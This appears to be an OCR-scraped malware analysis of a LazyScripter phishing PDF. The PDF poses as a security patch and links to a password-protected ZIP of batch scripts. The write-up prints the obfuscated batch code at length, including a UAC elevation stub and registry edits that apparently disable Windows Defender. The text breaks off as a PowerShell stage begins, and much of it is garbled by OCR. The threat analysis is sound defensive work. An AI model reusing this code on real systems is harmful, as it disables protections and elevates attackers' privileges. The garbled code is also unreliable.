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Malicious PDF Document Analysis - Lazyscripter

File-information

LazyScripter is a threat group that has mainly targeted the airlines industry since at least
2018, primarily using open-source toolsets 1 2. The threat actor gained initial access using
malicious PDF, here are the details.

e Md5: 62610680349de97db658a7d41fc9a9b8 available in Any Run
e File Type: PDF
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@ 19 security vendors and no sandboxes flagged this file as malicious

4594ab93854f59d72ac1231e379bd24abed233626808ab2ac0251e5dbE704a57
4594ab93854759d72ac12312379bd24abed2336e6808ab2ac025 1e5dh8704a57 bin
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RELATIONS BEHAVIOR

@ Trojan GenerickKD 48987194
(1) Trojan Generic DZEBTC3A
(1) Trojan GenerickD 48987194
(1) PDF/Downidr.NX

@ Trojan.GenerickD. 43987194
@ Trojan.GenerickKD. 48987194
(D) Malware (al Score=B2)

(D) AremislTrojan

(1) Trojan GenerickD 48987194

(1) PDFZAgent 385584

long-sieeps  pdf
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Avira (no cloud)
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@ Trojan GenericKD 48987194

(1) PHISH/KAB Talu wtziu

(D Malicious (score: 99)

@ Trojan.GenericKD.48987194 (B)
@ PDF/TrejanDownloader.Agent. ANL
(D) Trojan.PDF Generic.Olc

(D) Antemisl626106803490

(1) Troj/PDFDwn-AAH

(1) Trojan PDFKABVSNWOGE22

() Undetected

graph TD;

PDF --&gt;

Analysis

Downloads_ZIP --&gt; BatchScript

--&gt; Powershell --&gt; CnC;

Stage1

We can extract PDF properties using "PDFID" tool and below snip shows that it has
"embedded /URI" content.
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With the help of "pdf-parser” these URL can be extracted. The Malicious PDF file pretends to
be a fake patch installation. The embedded link downloads password protected ZIP file and
the password is hardcoded in PDF file.
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https://user-images.githubusercontent.com/71969773/167419962-bc246d73-7b36-4355-95b5-26b16e26f83d.PNG

. Malicious.pdf

8.199.7.48/PATCHX28CVEGB456-2822 . z1ip)

| 1
X¥E | Accredited
IATA Agent

Kindly install this patch to secure any connection to your sales platform.
Click here to download the patch.

Patch Password: SSL

Stage2

The unzipped file containing two batch scripts named it as "SecurityDsp.bat &
SSL Certificate.bat", both having identical contents with MD5 as
"20e9e2e20425f5b89106f6bbace5381d"

The code is heavily obfuscated to evade the AV detection as below.

Encoded
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@echo off
NET SESSION >nul 2>&1 && goto noUAC

title.

set n=%0 %*

set n=%n:"=" A& Chr(34) "& "%

echo Set objShell = CreateObject("Shell.Application")>"%tmp%\cmdUAC.vbs"

echo objShell.ShellExecute "cmd.exe", "/c start " A& Chr(34) N& "." A& Chr(34) ~& "

/d " A& Chr(34) A& "%CD%" A& Chr(34) A& " cmd /c %n%", "", "runas",
A1>>"%tmp%\cmdUAC . vbs"

echo Not Admin, Attempting to elevate...

cscript "%tmp%\cmdUAC.vbs" //Nologo

del "%tmp%\cmdUAC.vbs"

exit /b

:NoUAC

@echo off
set wegkoem=a
set bpltpmn=b
set khoziql=c
set tjxpouf=d
set fynwfvh=e
set gfuxihu=f
set dskbaxq=g
set yvyapob=h
set pjdvllg=i
set mnmpgbg=j
set eeuyvwk=k
set mkmhtbo=1
set hxiqvtv=m
set bysdcmi=n
set nutgtmu=o
set brlbmmf=p
set hoahisa=q
set xlnlrpz=r
set ybbwhci=s
set flbzyhx=t
set jxdklrj=u
set cbwgklh=v
set rmyyyjm=w
set 1lxckycu=x
set tjtkrhiz=y
set ikoiset=z

@%fynwfvh%%khoziql%%yvyapob%%nutqtmu% %nutqtmu%%gfuxihu%%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %tjxpouf%%fynwfvh%%mkmhtbo%%fynwfvh%%flbzyhx%%fynwfvh%
"%yvyapob%%eeuyvwk%%mkmhtbo%%khxiqvtv%s\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm¥%%we
%t jxpouf%%fynwfvh%%sgfuxihu%%fynwfvh%%bysdemi%%t jxpouf%%fynwfvh%%x1inlrpz%" /%gfuxihu%
%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm%%we
%t jxpouf%%fynwfvh%%gfuxihu%%fynwfvh%%bysdcecmi%%t jxpouf%%fynwfvh%%xlnlrpz%" /%cbwgklh%
"%t jxpouf%%pjdv1llg%kybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%wegkoem%%bysdcmi%%f 1k
/%F1lbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq%_%tjxpouf%%rmyyyjm%%nutgtmu%%xlnlrpz%%tjxpouf%
/%tjxpouf% "1" /%gfuxihu%
%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%

5/24



"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm%%we
%t jxpouf%%fynwfvh%%gfuxihu%%fynwfvh%%bysdcecmi%%t jxpouf%%fynwfvh%%sxlnlrpz%" /%cbwgklh%
"%t jxpouf%%pjdv1llg%kybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%wegkoem%%bysdcmi%%f 1k
/%Flbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq%_ %t jxpouf%%rmyyyjm%%nutqtmu%%bxlnlrpz%%tjxpouf%
/%tjxpouf%s "1" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%khxiqvtv%s\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm¥%%we

%t jxpouf®%fynwfvh%%gfuxihu%%fynwfvh%%bysdcecmi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%hxiqvtv%%brl
/%cbwgk1h%
"%hxiqvtv%%brlbmmf%%fynwfvh%%bysdcmi%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%brlbmmf%%jxd
/%Flbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq%_ %t jxpouf%%rmyyyjm%%nutqgtmu%%xlnlrpz%%tjxpouf%
/%tjxpouf%s "O" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm¥%kwe

%t jxpouf®%fynwfvh%%gfuxihu%%fynwfvh%%bysdcemi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%x1nlrpz%%fyn

%flbzyhx%%pjdv1lg%%hxiqvtv%%fynwfvh%

%brlbmmf%%x1nlrpz%%nutqtmu%%tlbzyhx%%fynwfvh%%khoziql%%f1lbzyhx%%pjdv1llg%%nutqtmu%%bysa
/%cbwgk1h%

"%t jxpouf%%spjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%bpltpmn%%fynwfvh%%yvy
/%flbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq%_%tjxpouf%%rmyyyjm%%nutqtmu%%xlnlrpz%%tjxpouf%

/%tjxpouf% "1" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyyjm%%we

%t jxpouf%%fynwfvh%k%sgfuxihu%%fynwfvh%%sbysdemi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%x1lnlrpz%%fyn

%flbzyhx%%pjdv1lg%%hxiqvtv%%fynwfvh%

%brlbmmf%%x1nlrpz%%nutqtmu%%flbzyhx%%fynwfvh%%khoziql%%flbzyhx%%pjdv11lg%%nutqgtmu%%bysa
/%cbwgk1h%

"%t jxpouf%%pjdv1lg%kybbwhci%%wegkoem¥%%bpltpmn%%mkmhtbo%%fynwfvh%%pjdv1llg%%nutgtmu%iweg
/%fFlbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq%_%tjxpouf%%rmyyyjm%%nutqtmu%%x1lnlrpz%%tjxpouf%
/%tjxpouf% "1" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm%%we

%t jxpouf®%fynwfvh%%gfuxihu%%fynwfvh%%bysdcemi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%x1nlrpz%%fyn

%F1lbzyhx%%pjdv11g%%hxiqvtv%%fynwfvh%

%brlbmmf%%x1lnlrpz%%nutgtmu%%flbzyhx%%fynwfvh%%khoziql%%flbzyhx%%pjdv1lg%%nutgtmu%%bysd
/%cbwqgk1h%

"%t jxpouf%%pjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%nutgtmu%%bysdcmi%%weg
/%Flbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq%_ %t jxpouf%%rmyyyjm%%nutqtmu%%bxlnlrpz%%tjxpouf%
/%tixpouf% "1" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm%%we

%t jxpoufr%fynwfvhu%%gfuxihu%%fynwfvh%%sbysdcmi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%x1nlrpz%%fyn

%f1lbzyhx%%pjdv11lg%%hxigvtv%%fynwfvh%

%brlbmmf%%x1lnlrpz%%nutqtmu%%flbzyhx%%fynwfvh%%khoziql%%flbzyhx%%pjdv11lg%%nutqgtmu%%bysad
/%cbwgk1h%

"%t jxpouf%%pjdvllg%rybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%x1lnlrpz%%fynwfvh%%weg
/%Flbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq%_ %t jxpouf%%rmyyyjm%%nutqgtmu%%xlnlrpz%%tjxpouf%
/%tjxpouf%s "1" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm¥%kwe
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%t jxpouf%%fynwfvh%sgfuxihu%%fynwfvh%%sbysdemi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%x1lnlrpz%%fyn

%flbzyhx%%pjdv1lg%%hxiqvtv%%fynwfvh%

%brlbmmf%%x1nlrpz%%nutqtmu%%tlbzyhx%%fynwfvh%%khoziql%%flbzyhx%%pjdv1lg%%nutqtmu%%bysda
/%cbwgk1h%

"%t jxpouf%%pjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%ybbwhci%%khoziql%%weg
/%Flbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq¥%_%tjxpouf%%rmyyyjm%%nutqtmu%%xlnlrpz%%tjxpouf%
/%tjxpouf% "1" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm%%we

%t jxpouf%%fynwfvh%%sgfuxihu%%fynwfvh%%bysdemi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%x1lnlrpz%%fyn
/%cbwgk1h%

"%t jxpouf%%spjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%fynwfvh%%bysdcmi%%yvy
/%Flbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq%_%tjxpouf%%rmyyyjm%%nutqtmu%%x1lnlrpz%%tjxpouf%
/%tjxpouf% "1" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm%%we

%t jxpouf%%fynwfvh%%sgfuxihu%%fynwfvh%%bysdemi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%ybbwhci%%brl
/%cbwgk1h%

"%t jxpouf%%spjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%bpltpmn%%mkmhtbo%%nut
/%Flbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq%_%tjxpouf%%rmyyyjm%%nutqtmu%%xlnlrpz%%tjxpouf%
/%tjxpouf% "1" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm%%we

%t jxpouf%%fynwfvh%%sgfuxihu%%fynwfvh%%bysdemi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%ybbwhci%%brl
/%cbwgk1h%

"%ybbwhci%%brlbmmf%%t jtkrhi%%bysdemi%%sfynwfvh%%f1lbzyhx%%x1nlrpz%%fynwfvh%%brlbmmf%%nut
/%Flbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq%_%tjxpouf%%rmyyyjm%%nutqtmu%%x1lnlrpz%%tjxpouf%
/%tjxpouf% "O" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm%%we

%t jxpouf%%fynwfvh%%sgfuxihu%%fynwfvh%%bysdemi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%ybbwhci%%brl
/%cbwgk1h%
"%ybbwhci%%jxdklrj%%bpltpmn%%hxiqvtv%%pjdv1lg%%flbzyhx%%ybbwhci%%wegkoem%%hxiqvtv%%brl
/%Flbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq%_%tjxpouf%%rmyyyjm%%nutqtmu%%x1lnlrpz%%tjxpouf%
/%tjxpouf% "O" /%gfuxihu%

%x1nlrpz%%fynwfvh%%hxigvtv% 0 -

%t jxpouf%%pjdv1lg®%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%

%mkmhtbo%%nutqgtmu%%dskbaxq%%dskbaxg%%pjdv1lg%%bysdcmi%%dskbaxq%

%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%t jtkrhi%%ybbwhci%%f1lbzyhx%%fynwfvh%%hx
/%cbwgklh% "%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%" /%flbzyhx%

%x1nlrpz%%fynwfvh%%dskbaxq%_%tjxpouf%%rmyyyjm%%nutqtmu%%xlnlrpz%%tjxpouf% /%tjxpouf%
"o" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%t jtkrhi%%ybbwhci%%f1lbzyhx%%fynwfvh%%shx
/%cbwgklh% "%ybbwhci%%flbzyhx%%wegkoem%%x1lnlrpz%%flbzyhx%" /%flbzyhx%

%x1nlrpz%%fynwfvh%%dskbaxq¥%_ %t jxpouf%%rmyyyjm%%nutqtmu%%xlnlrpz%%tjxpouf% /%tjxpouf%
""" /%gfuxihu%

%x1nlrpz%%fynwfvh%%hxiqvtv%

%t jxpouf%%pjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh% %rmyyyjm%%tjxpouf%
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%f1bzyhx%%wegkoem%%ybbwhci%%eeuyvwk%%ybbwhci%
%ybbwhci%%khoziql%%yvyapob%%flbzyhx%%wegkoem%%ybbwhci%%eeuyvwk%%ybbwhci%
/%khozigql%%yvyapob%%wegkoem%%bysdcmi%%dskbaxq%%fynwfvh% /%flbzyhx%%bysdcmi%
"%hxiqvtv%%pjdv1lg%%kkhoziql%%x1lnlrpz%%nutqtmu%%ybbwhci%%nutgtmu%%gfuxihu%%flbzyhx%\%rn
%hxiqvtv%%t jxpouf%%hxiqvtv% %brlbmmf%%nutqtmu%%mkmhtbo%%pjdv1lg%%khoziql%%tjtkrhi%
%x1nlrpz%%fynwfvh%%gfuxihu%%x1lnlrpz%%fynwfvh%%ybbwhci%%yvyapob%"
/%t jxpouf%%pjdv1lg%rybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%
%ybbwhci%%khoziql%%yvyapob%%f1lbzyhx%%wegkoem%%ybbwhci%%eeuyvwk%%ybbwhci%
/%khoziql%%yvyapob%%wegkoem%%bysdcmi%%dskbaxq%%fynwfvh% /%flbzyhx%%bysdcmi%
"%hxiqvtv%%pjdvllg%%kkhoziql%%x1lnlrpz%%nutqtmu%%ybbwhci%%nutgtmu%%gfuxihu%%flbzyhx%\%rn

%t jxpouf%%fynwfvh%%gfuxihu%%fynwfvh%%bysdcemi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%rmyyyjm%%pjd
%t jxpouf%%fynwfvh%%gfuxihu%%fynwfvh%%bysdcmi%%t jxpouf%%fynwfvh%%x1lnlrpz%

%khozigl%%wegkoem%%khoziql%%yvyapob%%fynwfvh%

%hxiqvtvekwegkoem%%pjdv1llg%kbysdcmi%%sf lbzyhx%%fynwfvh%%bysdcmi%%wegkoem%%bysdcmi%%khoz
/%t jxpouf%%pjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%

%ybbwhci%%khoziql%%yvyapob%%f1lbzyhx%%wegkoem%%ybbwhci%%eeuyvwk%%ybbwhci%

/%khozigql%%yvyapob%%wegkoem%%bysdcmi%%dskbaxq®%%fynwfvh% /%flbzyhx%%bysdcmi%

"%hxiqvtv%%pjdvllg%%skhoziql%%x1lnlrpz%%nutqtmu%%ybbwhci%%nutgtmu%%gfuxihu%%flbzyhx%\%rn

%t jxpouf%%fynwfvh%%gfuxihu%%fynwfvh%%bysdcemi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%rmyyyjm%%pjad
%t jxpouf%%fynwfvh%%gfuxihu%%fynwfvh%%bysdcmi%%t jxpouf%%fynwfvh%%x1lnlrpz%

%khozigl%%mkmhtbo%%fynwfvh%%wegkoem%%sbysdcmi%%jxdklrj%%brlbmmf%"

/%t jxpouf%%pjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%

%ybbwhci%%khoziql%%yvyapob%%f1lbzyhx%%wegkoem%%ybbwhci%%eeuyvwk%%ybbwhci%

/%khozigql%%yvyapob%%wegkoem%%bysdcmi%%dskbaxq%%fynwfvh% /%flbzyhx%%bysdcmi%

"%hxiqvtv%%pjdvllg%%kkhoziql%%x1lnlrpz%%nutqtmu%%ybbwhci%%nutgtmu%%gfuxihu%%flbzyhx%\%rn

%t jxpouf®%fynwfvh%%gfuxihu%%fynwfvh%%bysdcemi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%rmyyyjm%%pjad
%t jxpouf%%fynwfvh%%gfuxihu%%fynwfvh%%bysdcmi%%t jxpouf%%fynwfvh%%x1lnlrpz%
%ybbwhci%%khozigql%%yvyapob%%fynwfvh%%st jxpouf%%jxdklrj%%mkmhtbo%%fynwfvh%%tjxpouf%
%ybbwhci%%khozigql%%wegkoem%%bysdcmi%"
/%t jxpouf%%pjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%
%ybbwhci%%khoziql%%yvyapob%%flbzyhx%%wegkoem%%ybbwhci%%eeuyvwk%%ybbwhci%
/%khozigql%%yvyapob%%wegkoem%%bysdcmi%%dskbaxq%%fynwfvh% /%flbzyhx%%bysdcmi%
"%hxiqvtv%%pjdv1lg%%kkhoziql%%x1lnlrpz%%nutqtmu%%ybbwhci%%nutgtmu%%gfuxihu%%flbzyhx%\%rn

%t jxpouf®%fynwfvh%%gfuxihu%%fynwfvh%%bysdcmi%%t jxpouf%%fynwfvh%%x1lnlrpz%\%rmyyyjm%%pjd
%t jxpouf%%fynwfvh%%sgfuxihu%%fynwfvh%%bysdemi%%t jxpouf%%fynwfvh%%x1lnlrpz%

%Cbwgk1h%%fynwfvh%%x1nlrpz%%pjdv11g%%kgfuxihu%%pjdv1llg%%khozigql%%wegkoem%%f1lbzyhx%%pjdv
/%t jxpouf%%pjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%

%x1nlrpz%%fynwfvh%%shxiqvtv%

%t jxpouf%%pjdv1lg®%ybbwhci%%wegkoem%%bpltpmn%%¥mkmhtbo%%fynwfvh% %rmyyyjm%%tjxpouf%

%ybbwhci%%t jtkrhi%%ybbwhci%%flbzyhx%%x1nlrpz%%wegkoem%%tjtkrhi%

%pjdvllg¥%khoziql%%nutqtmu%%bysdcmi%

%x1nlrpz%%fynwfvh%%dskbaxq% %tjxpouf%%fynwfvh%%mkmhtbo%%fynwfvh%%flbzyhx%%fynwfvh%

"%yvyapob%%eeuyvwk%%mkmhtbo%%khxiqvtv%s\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm¥%%we
/%cbwgklh% "%rmyyyjm%%pjdv11lg%%bysdcmi%%t jxpouf%%nutqtmu%%brmyyyjm%%ybbwhci%

%t jxpouf®%fynwfvh%%gfuxihu%%fynwfvh%%bysdcecmi%%t jxpouf%%fynwfvh%%x1lnlrpz%" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %tjxpouf%%fynwfvh%smkmhtbo%%fynwfvh%%f1lbzyhx%%fynwfvh%

"%yvyapob%%eeuyvwk%%khoziql%%jxdklrj%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm%%we
/%cbwgklh% "%rmyyyjm%%pjdv11g%%bysdcmi%%t jxpouf%%nutgtmu%%rmyyyjm%%sybbwhci%

%t jxpouf%%fynwfvh%%gfuxihu%%fynwfvh%%bysdcemi%%t jxpouf%%fynwfvh%%x1lnlrpz%" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %tjxpouf%%fynwfvh%%mkmhtbo%%fynwfvh%%flbzyhx%%fynwfvh%

"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyy jm¥%kwe
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/%cbwqk1h%
"%rmyyyjm%%pjdv1lg%%sbysdemi%%t jxpouf%%nutgtmu%%srmyyyjm%%ybbwhci%%t jxpouf%%fynwfvh%%gfu
/%gfuxihu%
%x1Inlrpz%%fynwfvh%%hxiqvtv% %x1nlrpz%%fynwfvh%%hxiqvtv%%nutgtmu%%cbwgklh%%ftynwfvh%
%rmyyyjm%%tjxpouf% %khozigl%%nutqtmu%%bysdcmi%%flbzyhx%%fynwfvh%%lxckycu%%flbzyhx%
%hxiqvtvesfynwfvh%%bysdcmi%%jxdklrj%
%x1nlrpz%%fynwfvh%%dskbaxq% %tjxpouf%%fynwfvh%%mkmhtbo%%fynwfvh%%f1lbzyhx%%fynwfvh%
"%yvyapob%%eeuyvwk%%khoziql%%x1nlrpz%\*\%ybbwhci%%yvyapob%%fynwfvh%%mkmhtbo%%mkmhtbo%%
/%gfuxihu%
%x1nlrpz%%fynwfvh%%dskbaxq¥% %tjxpouf%%fynwfvh%%mkmhtbo%%fynwfvh%%f1lbzyhx%%fynwfvh%
"%yvyapob%%eeuyvwk%%khoziql%%x1nlrpz%\%tjxpouf%%pjdv1lg%%x1lnlrpz%%fynwfvh%%khoziql%%f1
/%gfuxihu%
%x1nlrpz%%fynwfvh%%dskbaxq% %tjxpouf%%fynwfvh%%mkmhtbo%%fynwfvh%%flbzyhx%%fynwfvh%
"%yvyapob%%eeuyvwk%%khoziql%%x1nlrpz%\%tjxpouf%%x1lnlrpz%%pjdv1lg%%cbwgklh%%fynwfvh%\%y
/%gfuxihu%
%x1nlrpz%%fynwfvh%%shxigqvtv%
%tjxpouf%%pjdvllg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh% %rmyyyjm%%tjxpouf%
%ybbwhci%%fynwfvh%%x1lnlrpz%%cbwgklh%%pjdv11g%%khoziql%%fynwfvh%%ybbwhci%
%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%t jtkrhi%%ybbwhci%%f1lbzyhx%%fynwfvh%%hx
/%cbwgklh% "%ybbwhci%%flbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%" /%flbzyhx%
%x1nlrpz%%fynwfvh%%dskbaxq%_ %tjxpouf%%rmyyyjm%%nutqtmu%%xlnlrpz%%tjxpouf% /%tjxpouf%
"4" /%gfuxihu%
%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%t jtkrhi%%sybbwhci%%f1lbzyhx%%fynwfvh%%shx
/%cbwgklh% "%ybbwhci%%flbzyhx%%wegkoem%%x1lnlrpz%%flbzyhx%" /%flbzyhx%
%x1nlrpz%%fynwfvh%%dskbaxq¥%_ %t jxpouf%%rmyyyjm%%snutqtmu%%xlnlrpz%%tjxpouf% /%tjxpouf%
"4" /%gfuxihu%
%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%t jtkrhi%%ybbwhci%%f1lbzyhx%%fynwfvh%%shx
/%cbwgklh% "%ybbwhci%%flbzyhx%%wegkoem%%x1lnlrpz%%flbzyhx%" /%flbzyhx%
%x1nlrpz%%fynwfvh%%dskbaxq%_ %tjxpouf%%rmyyyjm%%nutqtmu%%xlnlrpz%%tjxpouf% /%tjxpouf%
"4" /%gfuxihu%
%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%t jtkrhi%%ybbwhci%%f1lbzyhx%%fynwfvh%%hx
/%cbwgklh% "%ybbwhci%%flbzyhx%%wegkoem%%x1lnlrpz%%flbzyhx%" /%flbzyhx%
%x1nlrpz%%fynwfvh%%dskbaxq%_ %tjxpouf%%rmyyyjm%%nutqtmu%%xlnlrpz%%tjxpouf% /%tjxpouf%
"4" /%gfuxihu%
%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%s\%ybbwhci%%t jtkrhi%%ybbwhci%%f1lbzyhx%%fynwfvh%%shx
/%cbwgklh% "%ybbwhci%%flbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%" /%flbzyhx%
%x1nlrpz%%fynwfvh%%dskbaxq%_ %t jxpouf%%rmyyyjm%%nutqtmu%%xlnlrpz%%tjxpouf% /%tjxpouf%
"4" /%gfuxihu%
%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%t jtkrhi%%ybbwhci%%f1lbzyhx%%fynwfvh%%hx
/%cbwgklh% "%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%" /%flbzyhx%
%x1nlrpz%%fynwfvh%%dskbaxq%_%tjxpouf%%rmyyyjm%%nutqtmu%%xlnlrpz%%tjxpouf% /%tjxpouf%
"4" /%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq%.%fynwfvh%%lxckycu%%fynwfvh% %wegkoem%%t jxpouf%%tjxpouf%
%yvyapob%%eeuyvwk%%mkmhtbo%%hxiqvtv%\%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%%rmyyyjm%%weg
/%cbwgk1h%
%Tynwfvh%%bysdcmi%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%mkmhtbo%%jxdklrj%%wegkoem%
/%flbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq%_%tjxpouf%%rmyyyjm%%nutqtmu%%xlnlrpz%%tjxpouf%
/%tjxpouf% 0 /%gfuxihu%
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%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%fynwfvh%%t jtkrhi%_ %khozigql%%jxdklrj%%x1lnlrpz%%x1nlrpz%%fynwfvh%%by
/%cbwgklh% "#%nutgtmu%%bysdcemi%%fynwfvh%" /%flbzyhx%

%x1nlrpz%%fynwfvh%%dskbaxq%_ %ybbwhci%%ikoiset% /%tjxpouf%
"%brlbmmf%%nutgtmu%%rmyyyjm%%tynwfvh%%x1lnlrpz%%ybbwhci%%yvyapob%%fynwfvh%%mkmhtbo%%mkn
-%rmyyyjm% %yvyapob%%pjdv11g%%tjxpouf%%stjxpouf%%fynwfvh%%bysdcmi%

\"%wegkoem%%t jxpouf%%t jxpouf%-%flbzyhx%%tjtkrhi%%brlbmmf%%fynwfvh% -

